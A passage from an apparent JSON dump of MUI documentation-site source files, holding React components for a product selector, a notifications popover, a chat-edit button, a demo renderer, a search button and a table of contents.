sx={logoColor} />,\n    href: ROUTES.baseDocs,\n  },\n  {\n    id: 'joy-ui',\n    name: 'Joy UI',\n    description: 'Delightful modern components.',\n    icon: <WebRoundedIcon sx={iconStyles} />,\n    href: ROUTES.joyDocs,\n  },\n  {\n    id: 'system',\n    name: 'MUI System',\n    description: 'Ergonomic CSS utilities.',\n    icon: <StyleRoundedIcon sx={iconStyles} />,\n    href: ROUTES.systemDocs,\n  },\n];\n\nconst advancedProducts = [\n  {\n    id: 'x-data-grid',\n    name: 'Data Grid',\n    description: 'Fast and extensible data table.',\n    icon: <BackupTableRoundedIcon sx={iconStyles} />,\n    href: ROUTES.dataGridOverview,\n  },\n  {\n    id: 'x-date-pickers',\n    name: 'Date and Time Pickers',\n    description: 'Date, time, and range components.',\n    icon: <CalendarMonthRoundedIcon sx={iconStyles} />,\n    href: ROUTES.datePickersOverview,\n  },\n  {\n    id: 'x-charts',\n    name: 'Charts',\n    description: 'Data visualization components.',\n    icon: <BarChartRoundedIcon sx={iconStyles} />,\n    href: ROUTES.chartsOverview,\n  },\n  {\n    id: 'x-tree-view',\n    name: 'Tree View',\n    description: 'Hierarchical list components.',\n    icon: <AccountTreeRoundedIcon sx={iconStyles} />,\n    href: ROUTES.treeViewOverview,\n  },\n];\n\nconst MuiProductSelector = React.forwardRef(function MuiProductSelector(\n  props: MenuListProps<'div'>,\n  forwardedRef: React.ForwardedRef<HTMLDivElement>,\n) {\n  const pageContext = React.useContext(PageContext);\n\n  return (\n    <MenuList\n      {...props}\n      component=\"div\"\n      ref={forwardedRef}\n      sx={{\n        p: 1,\n        display: 'grid',\n        gridTemplateColumns: {\n          xs: 'repeat(1, minmax(0, 1fr))',\n          sm: 'repeat(2, minmax(0, 1fr))',\n        },\n        gap: '4px',\n      }}\n    >\n      {coreProducts.map((product) => (\n        <ProductItem\n          key={product.name}\n          name={product.name}\n          description={product.description}\n          href={product.href}\n          icon={product.icon}\n          active={pageContext.productId === product.id}\n        />\n      ))}\n      <Divider\n        sx={{\n          mx: -1,\n          gridColumn: {\n            xs: '1 / span 1',\n            sm: '1 / span 2',\n          },\n        }}\n      />\n      <Box\n        key=\"X components\"\n        role=\"none\"\n        sx={{\n          gridColumn: {\n            xs: '1 / span 1',\n            sm: '1 / span 2',\n          },\n        }}\n      >\n        <NavLabel>MUI X Components</NavLabel>\n      </Box>\n      {advancedProducts.map((product) => (\n        <ProductItem\n          key={product.name}\n          name={product.name}\n          description={product.description}\n          icon={product.icon}\n          href={product.href}\n          active={pageContext.productId === product.id}\n        />\n      ))}\n    </MenuList>\n  );\n});\n\nexport default MuiProductSelector;\n"
  },
  {
    "path": "docs/src/modules/components/Notifications.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport NotificationsNoneRoundedIcon from '@mui/icons-material/NotificationsNoneRounded';\nimport Tooltip from '@mui/material/Tooltip';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport IconButton from '@mui/material/IconButton';\nimport Badge from '@mui/material/Badge';\nimport Typography from '@mui/material/Typography';\nimport Popper from '@mui/material/Popper';\nimport Grow from '@mui/material/Grow';\nimport MuiPaper from '@mui/material/Paper';\nimport { ClickAwayListener } from '@mui/base/ClickAwayListener';\nimport MuiList from '@mui/material/List';\nimport MuiListItem from '@mui/material/ListItem';\nimport MuiDivider from '@mui/material/Divider';\nimport { getCookie } from '@mui/docs/helpers';\nimport { useUserLanguage, useTranslate } from '@mui/docs/i18n';\n\nasync function fetchNotifications() {\n  if (process.env.NODE_ENV !== 'production') {\n    const items = (await import('../../../notifications.json')).default;\n    return items;\n  }\n  // #target-branch-reference\n  const response = await fetch(\n    'https://raw.githubusercontent.com/mui/material-ui/master/docs/notifications.json',\n  );\n  return response.json();\n}\n\nconst Paper = styled(MuiPaper)({\n  transformOrigin: 'top right',\n  backgroundImage: 'none',\n});\n\nconst List = styled(MuiList)(({ theme }) => ({\n  width: theme.spacing(40),\n  maxHeight: 540,\n  overflow: 'auto',\n  padding: theme.spacing(1, 0),\n}));\n\nconst ListItem = styled(MuiListItem)({\n  display: 'flex',\n  flexDirection: 'column',\n});\n\nconst Loading = styled('div')(({ theme }) => ({\n  display: 'flex',\n  justifyContent: 'center',\n  margin: theme.spacing(3, 0),\n}));\n\nconst Divider = styled(MuiDivider)(({ theme }) => ({\n  margin: theme.spacing(1, 0),\n}));\n\ninterface NotificationsState {\n  lastSeen: number;\n  messages:\n    | {\n        id: number;\n        title?: string;\n        text: string;\n        date?: string;\n        userLanguage?: string;\n      }[]\n    | undefined;\n}\n\nexport default function Notifications() {\n  const [open, setOpen] = React.useState(false);\n  const [tooltipOpen, setTooltipOpen] = React.useState(false);\n  const anchorRef = React.useRef(null);\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n  const [{ lastSeen, messages }, setNotifications] = React.useState<NotificationsState>({\n    lastSeen: 0,\n    messages: undefined,\n  });\n\n  const messageList = messages\n    ? messages\n        .filter((message) => {\n          if (\n            message.userLanguage &&\n            message.userLanguage !== userLanguage &&\n            message.userLanguage !== navigator.language.substring(0, 2)\n          ) {\n            return false;\n          }\n          return true;\n        })\n        .reverse()\n    : null;\n\n  const handleToggle = () => {\n    setOpen((prevOpen) => !prevOpen);\n    setTooltipOpen(false);\n\n    if (process.env.NODE_ENV !== 'production') {\n      // Skip last seen logic in dev to make editing notifications easier.\n      return;\n    }\n\n    if (messageList && messageList.length > 0) {\n      const newLastSeen = messageList[0].id;\n      setNotifications((notifications) => {\n        if (newLastSeen !== notifications.lastSeen) {\n          return {\n            messages: notifications.messages,\n            lastSeen: newLastSeen,\n          };\n        }\n        return notifications;\n      });\n      document.cookie = `lastSeenNotification=${newLastSeen};path=/;max-age=31536000`;\n    }\n  };\n\n  React.useEffect(() => {\n    let active = true;\n\n    // Prevent search engines from indexing the notification.\n    if (/glebot/.test(navigator.userAgent) || messages) {\n      return undefined;\n    }\n\n    // Soften the pressure on the main thread\n    // and create some distraction.\n    const timeout = setTimeout(async () => {\n      const notifications = await fetchNotifications().catch(() => {\n        // Swallow the exceptions, for example rate limit\n        return [];\n      });\n\n      if (active) {\n        // Permanent notifications\n        const filteredNotifications = [\n          /* {\n            id: 0,\n            title: \"Let's translate!\",\n            text: '<a style=\"color: inherit;\" target=\"_blank\" rel=\"noopener\" data-ga-event-category=\"l10n\" data-ga-event-action=\"notification\" data-ga-event-label=\"zh\" href=\"https://crowdin.com/project/material-ui-docs\">帮助 MUI 将文档翻译成中文</a>. 🇨🇳',\n            userLanguage: 'zh',\n          }, */\n          {\n            id: 1,\n            text: 'You can <a style=\"color: inherit;\" target=\"_blank\" rel=\"noopener\" href=\"https://x.com/MUI_hq\">follow us on X</a> or subscribe on <a style=\"color: inherit;\" target=\"_blank\" rel=\"noopener\" href=\"/blog/\">our blog</a> to receive exclusive tips and updates about MUI and the React ecosystem.',\n          },\n          // Only 3\n          ...notifications.splice(-3),\n        ];\n\n        const seen = getCookie('lastSeenNotification');\n        const lastSeenNotification = seen === undefined ? 0 : parseInt(seen, 10);\n        setNotifications({\n          messages: filteredNotifications,\n          lastSeen: lastSeenNotification,\n        });\n      }\n    }, 1500);\n\n    return () => {\n      clearTimeout(timeout);\n      active = false;\n    };\n  }, [messages]);\n\n  return (\n    <React.Fragment>\n      <Tooltip\n        open={tooltipOpen}\n        title={t('toggleNotifications')}\n        enterDelay={300}\n        onOpen={() => {\n          setTooltipOpen(!open);\n        }}\n        onClose={() => {\n          setTooltipOpen(false);\n        }}\n      >\n        <IconButton\n          color=\"primary\"\n          size=\"small\"\n          ref={anchorRef}\n          aria-controls={open ? 'notifications-popup' : undefined}\n          aria-haspopup=\"true\"\n          aria-label={`${\n            messageList\n              ? messageList.reduce(\n                  (count, message) => (message.id > lastSeen ? count + 1 : count),\n                  0,\n                )\n              : 0\n          } ${t('unreadNotifications')}`}\n          data-ga-event-category=\"AppBar\"\n          data-ga-event-action=\"toggleNotifications\"\n          onClick={handleToggle}\n        >\n          <Badge\n            color=\"error\"\n            badgeContent={\n              messageList\n                ? messageList.reduce(\n                    (count, message) => (message.id > lastSeen ? count + 1 : count),\n                    0,\n                  )\n                : 0\n            }\n          >\n            <NotificationsNoneRoundedIcon fontSize=\"small\" />\n          </Badge>\n        </IconButton>\n      </Tooltip>\n      <Popper\n        id=\"notifications-popup\"\n        anchorEl={anchorRef.current}\n        open={open}\n        placement=\"bottom-end\"\n        transition\n        disablePortal\n        role={undefined}\n      >\n        {({ TransitionProps }) => (\n          <ClickAwayListener\n            onClickAway={() => {\n              setOpen(false);\n            }}\n          >\n            <Grow in={open} {...TransitionProps}>\n              <Paper\n                sx={(theme) => ({\n                  mt: 0.5,\n                  border: '1px solid',\n                  borderColor: 'grey.200',\n                  boxShadow: `0px 4px 20px rgba(170, 180, 190, 0.3)`,\n                  ...theme.applyDarkStyles({\n                    borderColor: 'primaryDark.700',\n                    boxShadow: `0px 4px 20px rgba(0, 0, 0, 0.5)`,\n                  }),\n                })}\n              >\n                <List>\n                  {messageList ? (\n                    messageList.map((message, index) => (\n                      <React.Fragment key={message.id}>\n                        <ListItem alignItems=\"flex-start\">\n                          <Typography gutterBottom>\n                            <b>{message.title}</b>\n                          </Typography>\n                          <Typography gutterBottom variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                            <span\n                              id=\"notification-message\"\n                              // eslint-disable-next-line react/no-danger\n                              dangerouslySetInnerHTML={{ __html: message.text }}\n                            />\n                          </Typography>\n                          {message.date && (\n                            <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n                              {new Date(message.date).toLocaleDateString('en-US', {\n                                year: 'numeric',\n                                month: 'long',\n                                day: 'numeric',\n                              })}\n                            </Typography>\n                          )}\n                        </ListItem>\n                        {index < messageList.length - 1 ? <Divider /> : null}\n                      </React.Fragment>\n                    ))\n                  ) : (\n                    <Loading>\n                      <CircularProgress size={32} />\n                    </Loading>\n                  )}\n                </List>\n              </Paper>\n            </Grow>\n          </ClickAwayListener>\n        )}\n      </Popper>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/OpenMuiChat.tsx",
    "content": "import * as React from 'react';\nimport { styled, keyframes, alpha } from '@mui/material/styles';\nimport Button, { ButtonProps } from '@mui/material/Button';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Snackbar from '@mui/material/Snackbar';\nimport Alert from '@mui/material/Alert';\nimport PageContext from '@mui/docs/PageContext';\nimport { useDemoContext } from '@mui/docs/DemoContext';\nimport { createMuiChat } from '../sandbox/MuiChat';\nimport { DemoData } from '../sandbox/types';\n\ninterface OpenInMUIChatButtonProps extends ButtonProps {\n  demoData: DemoData;\n}\n\nconst rainbow = keyframes`\n  0% {\n    background-position: -100% center;\n  }\n  100% {\n    background-position: 100% center;\n  }\n`;\n\nconst RainbowButton = styled(Button)(({ theme }) => ({\n  '--color-1': '0 100% 50%',\n  '--color-2': '270 100% 50%',\n  '--color-3': '210 100% 50%',\n  '--color-4': '195 100% 50%',\n  '--color-5': '90 100% 50%',\n  position: 'relative',\n  display: 'inline-flex',\n  height: 26,\n  padding: '7px 8px 8px 8px', // 7px for optical alignment\n  flexShrink: 0,\n  borderRadius: 999,\n  border: '1px solid transparent',\n  borderBottomWidth: '2.5px',\n  borderColor: alpha(theme.palette.grey[200], 0.8),\n  '&.MuiButton-loading': {\n    '& > svg': {\n      transform: 'translateX(36px)',\n    },\n  },\n  fontSize: theme.typography.pxToRem(13),\n  fontWeight: theme.typography.fontWeightMedium,\n  backgroundSize: '200%',\n  backgroundClip: 'padding-box, border-box, border-box',\n  backgroundOrigin: 'border-box',\n  animation: `${rainbow} 2s linear infinite`,\n  '--bg-color-raw': '255,255,255',\n  '--bg-color': 'rgb(var(--bg-color-raw))',\n  backgroundImage: `linear-gradient(var(--bg-color), var(--bg-color)), linear-gradient(var(--bg-color) 50%, rgba(var(--bg-color-raw)) 80%, rgba(var(--bg-color-raw), 0)), linear-gradient(90deg, hsl(var(--color-1)), hsl(var(--color-5)), hsl(var(--color-3)), hsl(var(--color-4)), hsl(var(--color-2)))`,\n  '&:hover': {\n    '--bg-color-raw': '235,245,255',\n  },\n  ...theme.applyDarkStyles({\n    '--bg-color-raw': '16, 18, 20',\n    borderColor: alpha(theme.palette.primary[300], 0.2),\n    '&:hover': {\n      '--bg-color-raw': '13, 38, 63',\n    },\n  }),\n  '&::before': {\n    content: '\"\"',\n    position: 'absolute',\n    bottom: '-25%',\n    left: '50%',\n    zIndex: 0,\n    height: '20%',\n    width: '60%',\n    transform: 'translateX(-50%)',\n    animation: `${rainbow} 3s linear infinite`,\n    background:\n      'linear-gradient(90deg, hsl(var(--color-1)), hsl(var(--color-5)), hsl(var(--color-3)), hsl(var(--color-4)), hsl(var(--color-2)))',\n    filter: 'blur(1.2rem)',\n    ...theme.applyDarkStyles({\n      width: '90%',\n      filter: 'blur(0.5rem)',\n    }),\n  },\n  '& > svg': {\n    height: 18,\n    width: 18,\n    margin: '0 4px 0 0',\n    stroke: (theme.vars || theme).palette.primary.main,\n    fill: (theme.vars || theme).palette.primary.main,\n    transition: 'transform 0.4s',\n  },\n}));\n\nconst OpenInMUIChatButton = React.forwardRef<HTMLButtonElement, OpenInMUIChatButtonProps>(\n  function OpenInMUIChatButton({ demoData, ...props }, ref) {\n    const { productId } = React.useContext(PageContext);\n    const { csb } = useDemoContext();\n    const [loading, setLoading] = React.useState(false);\n    const [error, setError] = React.useState<Error | null>(null);\n    const baseUrl = process.env.MUI_CHAT_API_BASE_URL;\n    const scopes = process.env.MUI_CHAT_SCOPES;\n\n    const handleClick = async () => {\n      setLoading(true);\n      setError(null);\n\n      try {\n        await createMuiChat(demoData, csb).openSandbox();\n      } catch (err: any) {\n        setError(err as Error);\n      } finally {\n        setLoading(false);\n      }\n    };\n\n    // If the base URL is not set, we can't render the button\n    if (!baseUrl || !scopes || !scopes.split(',').includes(productId)) {\n      return null;\n    }\n\n    return (\n      <React.Fragment>\n        <RainbowButton\n          data-mui-color-scheme=\"dark\"\n          ref={ref}\n          loading={loading}\n          disabled={!!error}\n          loadingIndicator={<CircularProgress color=\"inherit\" size={12} />}\n          onClick={handleClick}\n          {...props}\n        >\n          <svg\n            xmlns=\"http://www.w3.org/2000/svg\"\n            fill=\"none\"\n            viewBox=\"0 0 24 24\"\n            strokeWidth=\"1.5\"\n            stroke=\"currentColor\"\n          >\n            <path\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              d=\"M9.813 15.904 9 18.75l-.813-2.846a4.5 4.5 0 0 0-3.09-3.09L2.25 12l2.846-.813a4.5 4.5 0 0 0 3.09-3.09L9 5.25l.813 2.846a4.5 4.5 0 0 0 3.09 3.09L15.75 12l-2.846.813a4.5 4.5 0 0 0-3.09 3.09ZM18.259 8.715 18 9.75l-.259-1.035a3.375 3.375 0 0 0-2.455-2.456L14.25 6l1.036-.259a3.375 3.375 0 0 0 2.455-2.456L18 2.25l.259 1.035a3.375 3.375 0 0 0 2.456 2.456L21.75 6l-1.035.259a3.375 3.375 0 0 0-2.456 2.456ZM16.894 20.567 16.5 21.75l-.394-1.183a2.25 2.25 0 0 0-1.423-1.423L13.5 18.75l1.183-.394a2.25 2.25 0 0 0 1.423-1.423l.394-1.183.394 1.183a2.25 2.25 0 0 0 1.423 1.423l1.183.394-1.183.394a2.25 2.25 0 0 0-1.423 1.423Z\"\n            />\n          </svg>{' '}\n          Edit in Chat\n        </RainbowButton>\n        <Snackbar\n          open={!!error}\n          color=\"error\"\n          anchorOrigin={{ vertical: 'top', horizontal: 'center' }}\n          onClose={() => setError(null)}\n          autoHideDuration={6000}\n        >\n          <Alert onClose={() => setError(null)} severity=\"error\" sx={{ width: '100%' }}>\n            {error?.message || 'Failed to open in MUI Chat'}\n          </Alert>\n        </Snackbar>\n      </React.Fragment>\n    );\n  },\n);\n\nexport default OpenInMUIChatButton;\n"
  },
  {
    "path": "docs/src/modules/components/ReactRunner.tsx",
    "content": "import * as React from 'react';\nimport { useRunner } from 'react-runner';\n\ninterface ReactRunnerProps {\n  code: string;\n  scope: {\n    process: {};\n    import: {};\n  };\n  onError: (error: string | null) => {};\n}\n\n// The docs https://github.com/nihgwu/react-runner\nexport default function ReactRunner(props: ReactRunnerProps) {\n  const { code, scope: scopeProp, onError } = props;\n\n  let scope = scopeProp;\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- valid reason to disable the rules of hooks\n    // eslint-disable-next-line react-hooks/rules-of-hooks -- process.env never changes\n    scope = React.useMemo(() => {\n      const handler = {\n        get() {\n          throw new Error(\n            [\n              'A demo tries to access process.x in ReactRunner. This is not supported.',\n              'If you do not need to show the source, you can set \"hideToolbar\": true to solve the issue.',\n            ].join('\\n'),\n          );\n        },\n      };\n\n      return {\n        ...scopeProp,\n        process: new Proxy(scopeProp.process, handler),\n      };\n    }, [scopeProp]);\n  }\n\n  const { element, error } = useRunner({\n    code,\n    scope,\n  });\n\n  React.useEffect(() => {\n    onError(error);\n  }, [error, onError]);\n\n  return element;\n}\n"
  },
  {
    "path": "docs/src/modules/components/RichMarkdownElement.js",
    "content": "import PropTypes from 'prop-types';\nimport { useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport { HighlightedCodeWithTabs } from '@mui/docs/HighlightedCodeWithTabs';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport Demo from 'docs/src/modules/components/Demo';\n\nfunction noComponent(moduleID) {\n  return function NoComponent() {\n    throw new Error(`No demo component provided for '${moduleID}'`);\n  };\n}\n\nexport default function RichMarkdownElement(props) {\n  const {\n    activeTab,\n    demoComponents,\n    demos = {},\n    disableAd,\n    localizedDoc,\n    renderedMarkdownOrDemo,\n    srcComponents,\n  } = props;\n  const userLanguage = useUserLanguage();\n  const t = useTranslate();\n\n  if (typeof renderedMarkdownOrDemo === 'string') {\n    return <MarkdownElement renderedMarkdown={renderedMarkdownOrDemo} />;\n  }\n\n  if (renderedMarkdownOrDemo.component) {\n    const name = renderedMarkdownOrDemo.component;\n    const Component = srcComponents?.[name];\n\n    if (Component === undefined) {\n      throw new Error(`No component found at the path 'docs/src/${name}`);\n    }\n\n    const additionalProps = {};\n    if (name === 'modules/components/ComponentPageTabs.js') {\n      additionalProps.activeTab = activeTab;\n    }\n\n    return <Component {...renderedMarkdownOrDemo} {...additionalProps} markdown={localizedDoc} />;\n  }\n\n  if (renderedMarkdownOrDemo.type === 'codeblock') {\n    return (\n      <HighlightedCodeWithTabs\n        tabs={renderedMarkdownOrDemo.data}\n        storageKey={\n          renderedMarkdownOrDemo.storageKey && `codeblock-${renderedMarkdownOrDemo.storageKey}`\n        }\n      />\n    );\n  }\n\n  const name = renderedMarkdownOrDemo.demo;\n  const demo = demos?.[name];\n  if (demo === undefined) {\n    const errorMessage = [\n      `Missing demo: ${name}. You can use one of the following:`,\n      Object.keys(demos),\n    ].join('\\n');\n\n    if (userLanguage === 'en') {\n      throw new Error(errorMessage);\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      console.error(errorMessage);\n    }\n\n    const warnIcon = (\n      <span role=\"img\" aria-label={t('emojiWarning')}>\n        ⚠️\n      </span>\n    );\n    return (\n      <div>\n        {warnIcon} Missing demo `{name}` {warnIcon}\n      </div>\n    );\n  }\n\n  const splitLocationBySlash = localizedDoc.location.split('/');\n  splitLocationBySlash.pop();\n  const fileNameWithLocation = `${splitLocationBySlash.join('/')}/${name}`;\n\n  return (\n    <Demo\n      demo={{\n        raw: demo.raw,\n        js: demoComponents[demo.module] ?? noComponent(demo.module),\n        scope: demos.scope,\n        jsxPreview: demo.jsxPreview,\n        tailwindJsxPreview: demo.tailwindJsxPreview,\n        cssJsxPreview: demo.cssJsxPreview,\n        rawTS: demo.rawTS,\n        module: demo.module,\n        moduleTS: demo.moduleTS,\n        tsx: demoComponents[demo.moduleTS] ?? noComponent(demo.moduleTS),\n        rawTailwind: demo.rawTailwind,\n        rawTailwindTS: demo.rawTailwindTS,\n        jsTailwind: demoComponents[demo.moduleTailwind] ?? null,\n        tsxTailwind: demoComponents[demo.moduleTSTailwind] ?? null,\n        rawCSS: demo.rawCSS,\n        rawCSSTS: demo.rawCSSTS,\n        jsCSS: demoComponents[demo.moduleCSS] ?? null,\n        tsxCSS: demoComponents[demo.moduleTSCSS] ?? null,\n        gaLabel: fileNameWithLocation.replace(/^\\/docs\\/data\\//, ''),\n        relativeModules: demo.relativeModules,\n      }}\n      disableAd={disableAd}\n      demoOptions={renderedMarkdownOrDemo}\n      githubLocation={`${process.env.SOURCE_CODE_REPO}/blob/v${process.env.LIB_VERSION}${fileNameWithLocation}`}\n    />\n  );\n}\n\nRichMarkdownElement.propTypes = {\n  activeTab: PropTypes.string,\n  demoComponents: PropTypes.any,\n  demos: PropTypes.any,\n  disableAd: PropTypes.bool,\n  localizedDoc: PropTypes.any,\n  renderedMarkdownOrDemo: PropTypes.oneOfType([\n    PropTypes.string,\n    PropTypes.shape({ component: PropTypes.any, demo: PropTypes.any }),\n  ]),\n  srcComponents: PropTypes.any,\n};\n"
  },
  {
    "path": "docs/src/modules/components/SearchButton.tsx",
    "content": "import * as React from 'react';\nimport SearchIcon from '@mui/icons-material/Search';\nimport { alpha, styled } from '@mui/material/styles';\nimport { useTranslate } from '@mui/docs/i18n';\n\nconst SearchButtonStyled = styled('button')(({ theme }) => [\n  {\n    minHeight: 32,\n    minWidth: 32,\n    margin: 0,\n    paddingLeft: theme.spacing(1),\n    display: 'flex',\n    alignItems: 'center',\n    gap: '6px',\n    [theme.breakpoints.only('xs')]: {\n      backgroundColor: 'transparent',\n      padding: 0,\n      justifyContent: 'center',\n      '& > *:not(.MuiSvgIcon-root)': {\n        display: 'none',\n      },\n    },\n    position: 'relative',\n    backgroundColor: alpha(theme.palette.grey[50], 0.6),\n    fontFamily: theme.typography.fontFamily,\n    fontSize: theme.typography.pxToRem(14),\n    color: (theme.vars || theme).palette.text.secondary,\n    border: `1px solid ${(theme.vars || theme).palette.grey[200]}`,\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    cursor: 'pointer',\n    transitionProperty: 'all',\n    transitionDuration: '150ms',\n    boxShadow: `hsl(200, 0%, 100%) 0 1px 0 inset, ${alpha(theme.palette.grey[100], 0.4)} 0 -1px 0 inset, ${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n    '&:hover': {\n      background: alpha(theme.palette.grey[100], 0.5),\n      borderColor: (theme.vars || theme).palette.grey[300],\n      boxShadow: 'none',\n    },\n    '&:focus-visible': {\n      outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n      outlineOffset: '2px',\n    },\n  },\n  theme.applyDarkStyles({\n    backgroundColor: alpha(theme.palette.primaryDark[700], 0.4),\n    borderColor: alpha(theme.palette.primaryDark[600], 0.4),\n    boxShadow: `${alpha(theme.palette.primaryDark[600], 0.1)} 0 1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 -1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n    '&:hover': {\n      background: (theme.vars || theme).palette.primaryDark[700],\n      borderColor: (theme.vars || theme).palette.primaryDark[600],\n      boxShadow: 'none',\n    },\n  }),\n]);\n\nconst SearchLabel = styled('span')(({ theme }) => ({\n  marginRight: 'auto',\n  marginBottom: '1px', // optical alignment\n  color: (theme.vars || theme).palette.text.tertiary,\n  lineHeight: 1,\n}));\n\nconst Shortcut = styled('kbd')(({ theme }) => {\n  return {\n    all: 'unset',\n    fontSize: theme.typography.pxToRem(12),\n    fontWeight: 'bold',\n    lineHeight: '19px',\n    marginLeft: theme.spacing(0.5),\n    border: `1px solid ${(theme.vars || theme).palette.grey[200]}`,\n    backgroundColor: '#FFF',\n    padding: theme.spacing(0, 0.5),\n    borderRadius: 7,\n    ...theme.applyDarkStyles({\n      borderColor: (theme.vars || theme).palette.primaryDark[600],\n      backgroundColor: (theme.vars || theme).palette.primaryDark[800],\n    }),\n  };\n});\n\ninterface SearchButtonProps {\n  onClick?: () => void;\n  onRef?: React.Ref<HTMLButtonElement>;\n  [key: string]: any;\n}\n\nconst subscribe = () => () => {};\nconst getSnapshot = () =>\n  window.navigator.platform.toUpperCase().includes('MAC') ? '⌘K' : 'Ctrl+K';\nconst getServerSnapshot = () => null;\n\nfunction useShortcut() {\n  return React.useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n}\n\nexport default function SearchButton({ onClick, onRef, ...props }: SearchButtonProps) {\n  const t = useTranslate();\n  const shortcut = useShortcut();\n  const labelId = React.useId();\n\n  return (\n    <SearchButtonStyled\n      ref={onRef}\n      onClick={onClick}\n      disabled={!onClick}\n      aria-labelledby={labelId}\n      {...props}\n    >\n      <SearchIcon color=\"primary\" sx={{ fontSize: '1.125rem' }} />\n      <SearchLabel id={labelId}>{t('searchButton')}</SearchLabel>\n      {shortcut && <Shortcut aria-hidden=\"true\">{shortcut}</Shortcut>}\n    </SearchButtonStyled>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/SketchIcon.js",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fillRule=\"nonzero\" fill=\"none\">\n    <path fill=\"#FDB300\" d=\"M5.24 2.7L12 2l6.76.7L24 9.48 12 23 0 9.49z\" />\n    <path fill=\"#EA6C00\" d=\"M4.85 9l7.13 14L0 9zM19.1 9l-7.12 14L23.95 9z\" />\n    <path fill=\"#FDAD00\" d=\"M4.85 9H19.1l-7.12 14z\" />\n    <g>\n      <path fill=\"#FDD231\" d=\"M11.98 2l-6.75.65-.38 6.34zM11.98 2l6.75.65.37 6.34z\" />\n      <path fill=\"#FDAD00\" d=\"M23.95 9l-5.22-6.35.37 6.34zM0 9l5.23-6.35-.38 6.34z\" />\n      <path fill=\"#FEEEB7\" d=\"M11.98 2L4.85 9H19.1z\" />\n    </g>\n  </g>,\n  'Sketch',\n);\n"
  },
  {
    "path": "docs/src/modules/components/TableOfContents.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled, alpha } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport NoSsr from '@mui/material/NoSsr';\nimport { Link } from '@mui/docs/Link';\nimport { useTranslate } from '@mui/docs/i18n';\nimport featureToggle from 'docs/src/featureToggle';\n\nexport const TOC_WIDTH = 242;\n\nconst NavLabel = styled(Typography)(({ theme }) => ({\n  padding: theme.spacing(1, 0, 1, 1.4),\n  fontSize: theme.typography.pxToRem(11),\n  fontWeight: theme.typography.fontWeightSemiBold,\n  textTransform: 'uppercase',\n  letterSpacing: '.1rem',\n  color: (theme.vars || theme).palette.text.tertiary,\n}));\n\nconst NavList = styled(Typography)({\n  padding: 0,\n  margin: 0,\n  listStyle: 'none',\n});\n\nexport const NavItem = styled(Link, {\n  shouldForwardProp: (prop) => prop !== 'active' && prop !== 'level',\n})(({ theme }) => {\n  const activeStyles = {\n    borderLeftColor: (theme.vars || theme).palette.primary[200],\n    color: (theme.vars || theme).palette.primary[600],\n    '&:hover': {\n      borderLeftColor: (theme.vars || theme).palette.primary[600],\n      color: (theme.vars || theme).palette.primary[600],\n    },\n  };\n  const activeDarkStyles = {\n    borderLeftColor: (theme.vars || theme).palette.primary[600],\n    color: (theme.vars || theme).palette.primary[300],\n    '&:hover': {\n      borderLeftColor: (theme.vars || theme).palette.primary[400],\n      color: (theme.vars || theme).palette.primary[400],\n    },\n  };\n\n  return [\n    {\n      boxSizing: 'border-box',\n      padding: '6px 0 6px 12px',\n      borderLeft: `1px solid transparent`,\n      display: 'block',\n      fontSize: theme.typography.pxToRem(13),\n      fontWeight: theme.typography.fontWeightMedium,\n      textOverflow: 'ellipsis',\n      overflow: 'hidden',\n      '&:hover': {\n        borderLeftColor: (theme.vars || theme).palette.grey[400],\n        color: (theme.vars || theme).palette.grey[600],\n      },\n      // TODO: We probably want `aria-current=\"location\"` instead.\n      variants: [\n        {\n          props: ({ active }) => !!active,\n          style: [activeStyles, theme.applyDarkStyles(activeDarkStyles)],\n        },\n        {\n          props: ({ active }) => !active,\n          style: [\n            {\n              color: (theme.vars || theme).palette.text.primary,\n            },\n            theme.applyDarkStyles({\n              color: (theme.vars || theme).palette.grey[500],\n            }),\n          ],\n        },\n        {\n          props: ({ level }) => level === 2,\n          style: {\n            padding: `6px 0 6px ${theme.spacing(3)}`,\n          },\n        },\n        {\n          props: ({ level }) => level === 3,\n          style: {\n            padding: `6px 0 6px ${theme.spacing(4.5)}`,\n          },\n        },\n      ],\n      '&:active': activeStyles,\n    },\n    theme.applyDarkStyles({\n      '&:hover': {\n        borderLeftColor: (theme.vars || theme).palette.grey[500],\n        color: (theme.vars || theme).palette.grey[200],\n      },\n      '&:active': activeDarkStyles,\n    }),\n  ];\n});\n\nfunction shouldShowJobAd() {\n  const date = new Date();\n  const timeZoneOffset = date.getTimezoneOffset();\n  // Hide for time zones UT+5.5 - UTC+14 & UTC-8 - UTC-12\n  if (timeZoneOffset <= -5.5 * 60 || timeZoneOffset >= 8 * 60) {\n    return false;\n  }\n  return true;\n}\n\nconst showJobAd = featureToggle.enable_job_banner && shouldShowJobAd();\n\nexport default function TableOfContents({ toc, itemLink, onLinkClick }) {\n  const t = useTranslate();\n\n  return (\n    <React.Fragment>\n      <NoSsr>\n        {showJobAd && (\n          <Link\n            href=\"https://jobs.ashbyhq.com/MUI?utm_source=2vOWXNv1PE\"\n            target=\"_blank\"\n            sx={[\n              (theme) => ({\n                mb: 2,\n                p: 1,\n                display: 'flex',\n                flexDirection: 'column',\n                alignItems: 'flex-start',\n                backgroundColor: alpha(theme.palette.grey[50], 0.4),\n                border: '1px solid',\n                